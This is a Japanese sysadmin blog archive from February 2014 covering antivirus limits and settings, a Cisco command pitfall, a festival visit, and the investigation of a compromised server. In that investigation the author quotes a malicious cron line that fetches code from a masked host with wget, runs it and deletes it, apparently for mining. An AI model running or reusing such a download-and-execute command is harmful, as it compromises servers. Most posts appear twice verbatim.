2014年02月
2014年02月28日
アンチウイルスソフトですが、無効にするのはよほどの事情がない限りは、やっては行けないことです。
そして有効にしていても、何について油断しても大丈夫なのか。何については油断してはならないのか。そういうのが重要になります。
・ゼロデイ攻撃
まず大前提として、アンチウイルスソフトは、パターンファイルでの検知について信頼/信用できると考えています。そのため、ウイルスができあがったばかりだったり、まだ世間に広く認知されていない場合は、そもそも検知しません。(もちろんなるべく検知するような仕組みはありますが、それに頼りきるのは危険です)
・メール、ブラウザ
メールやブラウザと連携するアンチウイルスソフトが多くあります。
そしてこれらについては、僕はどちらでもいいと思っています。というのもウイルスに感染する場合は、かならずローカルに保存されます。そして保存されれば、アンチウイルスソフトが検知します。
もちろんブラウザやメールと連携してくれるソフトであれば、ローカルに保存される前に検知します。ただまあ検知されるタイミングの問題なので、まあいいかなぁと。
・マルウェア
ウイルスとは言い切れないけれども、それに近いマルウェアというものがあります。
そして僕の経験上、悪質なウイルスに感染する例はほとんどありませんが、マルウェアは結構あります。そしてカード情報の入力を求められたり、「危険です」といった表示が常に出るようになったり。
これらについては、アンチウイルスソフトは、PCのデータを改ざんするようなのは防げることが多いのですが、カード情報を求められたりとか、表示を消すためにソフトを購入するように促される場合には、それを駆除してくれません。
そのため、マルウェアについては個別にユーザーが注意するしかないというのが現状です。
そして有効にしていても、何について油断しても大丈夫なのか。何については油断してはならないのか。そういうのが重要になります。
・ゼロデイ攻撃
まず大前提として、アンチウイルスソフトは、パターンファイルでの検知について信頼/信用できると考えています。そのため、ウイルスができあがったばかりだったり、まだ世間に広く認知されていない場合は、そもそも検知しません。(もちろんなるべく検知するような仕組みはありますが、それに頼りきるのは危険です)
・メール、ブラウザ
メールやブラウザと連携するアンチウイルスソフトが多くあります。
そしてこれらについては、僕はどちらでもいいと思っています。というのもウイルスに感染する場合は、かならずローカルに保存されます。そして保存されれば、アンチウイルスソフトが検知します。
もちろんブラウザやメールと連携してくれるソフトであれば、ローカルに保存される前に検知します。ただまあ検知されるタイミングの問題なので、まあいいかなぁと。
・マルウェア
ウイルスとは言い切れないけれども、それに近いマルウェアというものがあります。
そして僕の経験上、悪質なウイルスに感染する例はほとんどありませんが、マルウェアは結構あります。そしてカード情報の入力を求められたり、「危険です」といった表示が常に出るようになったり。
これらについては、アンチウイルスソフトは、PCのデータを改ざんするようなのは防げることが多いのですが、カード情報を求められたりとか、表示を消すためにソフトを購入するように促される場合には、それを駆除してくれません。
そのため、マルウェアについては個別にユーザーが注意するしかないというのが現状です。
2014年02月27日
アンチウイルスソフトの運用方法について聞かれました。
で、僕自身が今まで色々なお客様の運用をしていて、標準的にはこうしているっていうのがあるので、それをまとめておきたいと思います。
■スキャンのタイミング
アンチウイルスでは、「ファイルをいつスキャンするか」という設定ができるソフトがあります。
読み込み時・書き込み時などでしょうか。
この場合、読み込み時も書き込み時もチェックするというのも良いのですが、少しでも速度を落としたくないのであれば、読み込み時のみのスキャンでも大丈夫です。
■スキャンするファイル
すべてのファイルをスキャンするという設定のほか、特定の拡張子を持つファイルを検索するという選択が可能なことが多いようです。
ここで、速度の遅いPCは特定の拡張子のみの検索に。もしくはサーバーなどは特定の拡張子のみにすることが多くあります。
そして拡張子のみにした場合には、なるべく週1回はフルスキャンのスケジュールが必要かと考えています。
■アップデートの頻度
アップデートの頻度も重要です。というのも、ネットワークの帯域を結構使うため、統一するのか、バラバラにするのか。ということが大きな要素になってきます。
例えば、月曜日の朝イチなどは、アップデートが集中する場合もあるので注意が必要です。
ただ、個人的には1時間毎ぐらいの頻度で各端末はアップデートしておけば良いのでは無いかと思っています。(デフォルトに従うのでも大丈夫です。)
※ちなみに昔のアンチウイルスソフトでは、アップデートは1日1回とか2-3日に1回という運用でした。
■ファイアーウォール
最近のアンチウイルスソフトではファイアーウォールの設定も可能ですね。
これは十分に注意する必要があります。
たとえば、リモートデスクトップを多様しているのに、それをふさぐようなポリシーになっていたり。
同じセグメント同士の通信だったら、ほぼフリーで許可になっていたり。企業で全端末にインストールしているアプリケーションに必要な通信をブロックしたり。。。
とにかくFWは大変デリケートです。そしてミスしたときの影響が大きい。
ということで、ファイアーウォールについては、テスト用のPCを用意するべきだと考えています。そしてポリシーの配布も、一括で全台にするのではなく、個別の部署や部門ごとにやる方がよりいいかと。
そしてサーバーには、もっと慎重に行い、Listen しているポートなどは事前に調べておくべきかと考えています。
■ポリシー
企業によって、色々なポリシーがあると思います。もちろんポリシーが必要なだけいくつも策定すれば良いと思います。が、よく分からない場合には、最低限サーバー用のポリシーと、クライアント用のポリシーの2つは必須だと考えるべきです。
■除外
クライアントPCのために、除外するファイルはほとんど無いと思います。
一方でサーバー用には除外が必要なファイルは多くあります。用途にもよりますが、仮想ホストなのか、DBなのか。それ以外のサーバー用アプリケーションなのか。これらについては、除外しても問題無いことが多いですし、パフォーマンスのために除外が必要な場合が多くあります。
ただし、この除外については、先に全てのファイルをスキャンする状態でインストールしてしまい、後から少しずつ追加していく方法もあります。
で、僕自身が今まで色々なお客様の運用をしていて、標準的にはこうしているっていうのがあるので、それをまとめておきたいと思います。
■スキャンのタイミング
アンチウイルスでは、「ファイルをいつスキャンするか」という設定ができるソフトがあります。
読み込み時・書き込み時などでしょうか。
この場合、読み込み時も書き込み時もチェックするというのも良いのですが、少しでも速度を落としたくないのであれば、読み込み時のみのスキャンでも大丈夫です。
■スキャンするファイル
すべてのファイルをスキャンするという設定のほか、特定の拡張子を持つファイルを検索するという選択が可能なことが多いようです。
ここで、速度の遅いPCは特定の拡張子のみの検索に。もしくはサーバーなどは特定の拡張子のみにすることが多くあります。
そして拡張子のみにした場合には、なるべく週1回はフルスキャンのスケジュールが必要かと考えています。
■アップデートの頻度
アップデートの頻度も重要です。というのも、ネットワークの帯域を結構使うため、統一するのか、バラバラにするのか。ということが大きな要素になってきます。
例えば、月曜日の朝イチなどは、アップデートが集中する場合もあるので注意が必要です。
ただ、個人的には1時間毎ぐらいの頻度で各端末はアップデートしておけば良いのでは無いかと思っています。(デフォルトに従うのでも大丈夫です。)
※ちなみに昔のアンチウイルスソフトでは、アップデートは1日1回とか2-3日に1回という運用でした。
■ファイアーウォール
最近のアンチウイルスソフトではファイアーウォールの設定も可能ですね。
これは十分に注意する必要があります。
たとえば、リモートデスクトップを多様しているのに、それをふさぐようなポリシーになっていたり。
同じセグメント同士の通信だったら、ほぼフリーで許可になっていたり。企業で全端末にインストールしているアプリケーションに必要な通信をブロックしたり。。。
とにかくFWは大変デリケートです。そしてミスしたときの影響が大きい。
ということで、ファイアーウォールについては、テスト用のPCを用意するべきだと考えています。そしてポリシーの配布も、一括で全台にするのではなく、個別の部署や部門ごとにやる方がよりいいかと。
そしてサーバーには、もっと慎重に行い、Listen しているポートなどは事前に調べておくべきかと考えています。
■ポリシー
企業によって、色々なポリシーがあると思います。もちろんポリシーが必要なだけいくつも策定すれば良いと思います。が、よく分からない場合には、最低限サーバー用のポリシーと、クライアント用のポリシーの2つは必須だと考えるべきです。
■除外
クライアントPCのために、除外するファイルはほとんど無いと思います。
一方でサーバー用には除外が必要なファイルは多くあります。用途にもよりますが、仮想ホストなのか、DBなのか。それ以外のサーバー用アプリケーションなのか。これらについては、除外しても問題無いことが多いですし、パフォーマンスのために除外が必要な場合が多くあります。
ただし、この除外については、先に全てのファイルをスキャンする状態でインストールしてしまい、後から少しずつ追加していく方法もあります。
2014年02月26日
以前にも記事にしていたのですが、サーバーのCPU利用率が高いのです。
本腰を入れて調べました。
top コマンド
top - 15:57:46 up 34 days, 3:01, 2 users, load average: 3.11, 2.72, 2.57
Tasks: 105 total, 7 running, 98 sleeping, 0 stopped, 0 zombie
Cpu(s): 13.0%us, 5.1%sy, 16.2%ni, 57.2%id, 0.2%wa, 0.0%hi, 0.0%si, 8.3%st
Mem: 2097152k total, 2044344k used, 52808k free, 74448k buffers
Swap: 0k total, 0k used, 0k free, 1720464k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
31744 apache 25 0 33820 4504 1312 R 99.0 0.2 31404:54 perl
1515 apache 15 0 33820 4464 1296 R 13.9 0.2 87:01.78 perl
1589 apache 15 0 33820 4460 1296 R 13.9 0.2 87:14.40 per
1518 apache 15 0 33820 4464 1296 R 5.9 0.2 86:38.93 perl
1521 apache 15 0 33820 4460 1296 R 5.9 0.2 87:06.08 perl
1 root 15 0 10352 728 608 S 0.0 0.0 0:12.17 init
2 root RT -5 0 0 0 S 0.0 0.0 5:51.95 migration/0
3 root 34 19 0 0 0 S 0.0 0.0 0:00.84 ksoftirqd/0
4 root RT -5 0 0 0 S 0.0 0.0 0:00.00 watchdog/0
perl のCPU使用率が高いのです。
サーバーのサービスを一通り止めて、netstat
# netstat -an |grep 80
tcp 0 1 XXX.XXX.XXX.XXX:45634 XXX.XXX.XXX.XXX:80 SYN_SENT
tcp 0 0 XXX.XXX.XXX.XXX:59438 XXX.XXX.XXX.XXX:80 ESTABLISHED
意味不明のところに、「サーバーから」外部の80番ポートにアクセスしています。
これはおかしいと思いました。GUIも入ってないんだから、http アクセスなんてあまりしないはずです。
tcpdump をしたところ、やはり定期的にアクセスを行っています。
cron によって定期的に実行されているのかも・・・と思って調べてみると、あやしいサービスが。。。
cronで、/tmp/update が実行されています。。。なんだこれ!
実行ファイルは、
-- 省略 --
wget http://XXX.XXX.XXX.XXX/p && sh a.php;rm -rf a* >> /dev/null
-- 省略 --
うむむ。個のコマンドの意味はイマイチよくわかりません。
が、どうせ a.php を実行させ、削除しているのでしょう。うむむぅ。
どうも bitcoin のマイニングだったのかな?
ということで、削除しました。
そしてcronできるユーザーを限定することにしました。
cronが使用できるユーザーを限定したい
本腰を入れて調べました。
top コマンド
top - 15:57:46 up 34 days, 3:01, 2 users, load average: 3.11, 2.72, 2.57
Tasks: 105 total, 7 running, 98 sleeping, 0 stopped, 0 zombie
Cpu(s): 13.0%us, 5.1%sy, 16.2%ni, 57.2%id, 0.2%wa, 0.0%hi, 0.0%si, 8.3%st
Mem: 2097152k total, 2044344k used, 52808k free, 74448k buffers
Swap: 0k total, 0k used, 0k free, 1720464k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
31744 apache 25 0 33820 4504 1312 R 99.0 0.2 31404:54 perl
1515 apache 15 0 33820 4464 1296 R 13.9 0.2 87:01.78 perl
1589 apache 15 0 33820 4460 1296 R 13.9 0.2 87:14.40 per
1518 apache 15 0 33820 4464 1296 R 5.9 0.2 86:38.93 perl
1521 apache 15 0 33820 4460 1296 R 5.9 0.2 87:06.08 perl
1 root 15 0 10352 728 608 S 0.0 0.0 0:12.17 init
2 root RT -5 0 0 0 S 0.0 0.0 5:51.95 migration/0
3 root 34 19 0 0 0 S 0.0 0.0 0:00.84 ksoftirqd/0
4 root RT -5 0 0 0 S 0.0 0.0 0:00.00 watchdog/0
perl のCPU使用率が高いのです。
サーバーのサービスを一通り止めて、netstat
# netstat -an |grep 80
tcp 0 1 XXX.XXX.XXX.XXX:45634 XXX.XXX.XXX.XXX:80 SYN_SENT
tcp 0 0 XXX.XXX.XXX.XXX:59438 XXX.XXX.XXX.XXX:80 ESTABLISHED
意味不明のところに、「サーバーから」外部の80番ポートにアクセスしています。
これはおかしいと思いました。GUIも入ってないんだから、http アクセスなんてあまりしないはずです。
tcpdump をしたところ、やはり定期的にアクセスを行っています。
cron によって定期的に実行されているのかも・・・と思って調べてみると、あやしいサービスが。。。
cronで、/tmp/update が実行されています。。。なんだこれ!
実行ファイルは、
-- 省略 --
wget http://XXX.XXX.XXX.XXX/p && sh a.php;rm -rf a* >> /dev/null
-- 省略 --
うむむ。個のコマンドの意味はイマイチよくわかりません。
が、どうせ a.php を実行させ、削除しているのでしょう。うむむぅ。
どうも bitcoin のマイニングだったのかな?
ということで、削除しました。
そしてcronできるユーザーを限定することにしました。
cronが使用できるユーザーを限定したい
2014年02月25日
友人と話をしていたときに、スイッチ設定のコマンドの注意点を聞きました。
その会社では、省略系のコマンドは禁止されているらしいのです。そしてその理由は今までにミスをしたことがあるから。そういうものでした。
僕は conf te (configure terminal) とかよくやりますし、sh ru (show running-config) もよくやります。だから、なぜそういうミスが起きるのか、またなぜ禁止されているのか、とても疑問でした。
そしてそのとき言われたのが、省略系のコマンドはモードによって意味が異なる場合があるというのです。
たしかに、 sh については、通常時は show というコマンドの省略系です。しかしインターフェースモードになっていると、shutdown の省略系になります。
実際、XXX(config-if)# という状態であれば、 sh というコマンドは shutdown として入力されてしまいます。
ただしもし間違えて、 sh ru と入れた場合は、% Invalid input detected at '^' marker. というエラーになります。
しかし sh と入れてエンターを押してしまえばポートガシャッとダウンされてしまいます。
ということで、省略系のコマンドは今まで以上に慎重に扱おうと強く思いました。
その会社では、省略系のコマンドは禁止されているらしいのです。そしてその理由は今までにミスをしたことがあるから。そういうものでした。
僕は conf te (configure terminal) とかよくやりますし、sh ru (show running-config) もよくやります。だから、なぜそういうミスが起きるのか、またなぜ禁止されているのか、とても疑問でした。
そしてそのとき言われたのが、省略系のコマンドはモードによって意味が異なる場合があるというのです。
たしかに、 sh については、通常時は show というコマンドの省略系です。しかしインターフェースモードになっていると、shutdown の省略系になります。
実際、XXX(config-if)# という状態であれば、 sh というコマンドは shutdown として入力されてしまいます。
ただしもし間違えて、 sh ru と入れた場合は、% Invalid input detected at '^' marker. というエラーになります。
しかし sh と入れてエンターを押してしまえばポートガシャッとダウンされてしまいます。
ということで、省略系のコマンドは今まで以上に慎重に扱おうと強く思いました。
2014年02月24日
僕はブログを書いていて、現実の日付と書いている内容は関係が無いことが多くあります。また、日付が大きくずれることもあります。この記事を書いているのは、3月末ですしね!
さて画像を整理していたら、熊手の写真があったので、そういえば。ということで記事にしたいと思います。
熊手というのは、年末になって、販売していることをよく見かけていました。羽子板の場合もあるのかな?
そしてこれらを購入したことはありませんし、なぜ購入するのか。という疑問もありました。
そういうことから、お店にも行ったことがありません。
去年あたりから、目黒あたりで熊手がらみのイベントがあることを知りました。
今年になって、友人から酉の市を見に行こうというお誘いを受けたので、行ってきました。
ということで、掲載した画像のとおり2つを購入しました。意外なものです。
調べたところ、年々大きいのにするそうですね。まあそんなことできません。
2014年02月23日